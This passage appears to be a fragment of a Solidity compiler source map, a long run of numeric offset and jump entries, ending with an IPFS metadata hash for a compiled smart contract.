85;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2731:388::-;2799:6;2807;2860:2;2848:9;2839:7;2835:23;2831:32;2828:52;;;2876:1;2873;2866:12;2828:52;2915:9;2902:23;2934:31;2959:5;2934:31;:::i;:::-;2984:5;-1:-1:-1;3041:2:1;3026:18;;3013:32;3054:33;3013:32;3054:33;:::i;:::-;3106:7;3096:17;;;2731:388;;;;;:::o;3124:127::-;3185:10;3180:3;3176:20;3173:1;3166:31;3216:4;3213:1;3206:15;3240:4;3237:1;3230:15;3256:422;3345:1;3388:5;3345:1;3402:270;3423:7;3413:8;3410:21;3402:270;;;3482:4;3478:1;3474:6;3470:17;3464:4;3461:27;3458:53;;;3491:18;;:::i;:::-;3541:7;3531:8;3527:22;3524:55;;;3561:16;;;;3524:55;3640:22;;;;3600:15;;;;3402:270;;;3406:3;3256:422;;;;;:::o;3683:806::-;3732:5;3762:8;3752:80;;-1:-1:-1;3803:1:1;3817:5;;3752:80;3851:4;3841:76;;-1:-1:-1;3888:1:1;3902:5;;3841:76;3933:4;3951:1;3946:59;;;;4019:1;4014:130;;;;3926:218;;3946:59;3976:1;3967:10;;3990:5;;;4014:130;4051:3;4041:8;4038:17;4035:43;;;4058:18;;:::i;:::-;-1:-1:-1;;4114:1:1;4100:16;;4129:5;;3926:218;;4228:2;4218:8;4215:16;4209:3;4203:4;4200:13;4196:36;4190:2;4180:8;4177:16;4172:2;4166:4;4163:12;4159:35;4156:77;4153:159;;;-1:-1:-1;4265:19:1;;;4297:5;;4153:159;4344:34;4369:8;4363:4;4344:34;:::i;:::-;4414:6;4410:1;4406:6;4402:19;4393:7;4390:32;4387:58;;;4425:18;;:::i;:::-;4463:20;;3683:806;-1:-1:-1;;;3683:806:1:o;4494:140::-;4552:5;4581:47;4622:4;4612:8;4608:19;4602:4;4581:47;:::i;4639:168::-;4712:9;;;4743;;4760:15;;;4754:22;;4740:37;4730:71;;4781:18;;:::i;4812:356::-;5014:2;4996:21;;;5033:18;;;5026:30;5092:34;5087:2;5072:18;;5065:62;5159:2;5144:18;;4812:356::o;5525:251::-;5595:6;5648:2;5636:9;5627:7;5623:23;5619:32;5616:52;;;5664:1;5661;5654:12;5616:52;5696:9;5690:16;5715:31;5740:5;5715:31;:::i;6702:306::-;6790:6;6798;6806;6859:2;6847:9;6838:7;6834:23;6830:32;6827:52;;;6875:1;6872;6865:12;6827:52;6904:9;6898:16;6888:26;;6954:2;6943:9;6939:18;6933:25;6923:35;;6998:2;6987:9;6983:18;6977:25;6967:35;;6702:306;;;;;:::o;7292:277::-;7359:6;7412:2;7400:9;7391:7;7387:23;7383:32;7380:52;;;7428:1;7425;7418:12;7380:52;7460:9;7454:16;7513:5;7506:13;7499:21;7492:5;7489:32;7479:60;;7535:1;7532;7525:12;10786:125;10851:9;;;10872:10;;;10869:36;;;10885:18;;:::i;11271:135::-;11310:3;11331:17;;;11328:43;;11351:18;;:::i;:::-;-1:-1:-1;11398:1:1;11387:13;;11271:135::o;11411:128::-;11478:9;;;11499:11;;;11496:37;;;11513:18;;:::i;11676:127::-;11737:10;11732:3;11728:20;11725:1;11718:31;11768:4;11765:1;11758:15;11792:4;11789:1;11782:15;11808:980;12070:4;12118:3;12107:9;12103:19;12149:6;12138:9;12131:25;12175:2;12213:6;12208:2;12197:9;12193:18;12186:34;12256:3;12251:2;12240:9;12236:18;12229:31;12280:6;12315;12309:13;12346:6;12338;12331:22;12384:3;12373:9;12369:19;12362:26;;12423:2;12415:6;12411:15;12397:29;;12444:1;12454:195;12468:6;12465:1;12462:13;12454:195;;;12533:13;;-1:-1:-1;;;;;12529:39:1;12517:52;;12624:15;;;;12589:12;;;;12565:1;12483:9;12454:195;;;-1:-1:-1;;;;;;;12705:32:1;;;;12700:2;12685:18;;12678:60;-1:-1:-1;;;12769:3:1;12754:19;12747:35;12666:3;11808:980;-1:-1:-1;;;11808:980:1:o;12793:217::-;12833:1;12859;12849:132;;12903:10;12898:3;12894:20;12891:1;12884:31;12938:4;12935:1;12928:15;12966:4;12963:1;12956:15;12849:132;-1:-1:-1;12995:9:1;;12793:217::o

ipfs://e620e654eb00b2ae99444634a22fa6cef876340d01ded4cee8b6fddc25d6d6f4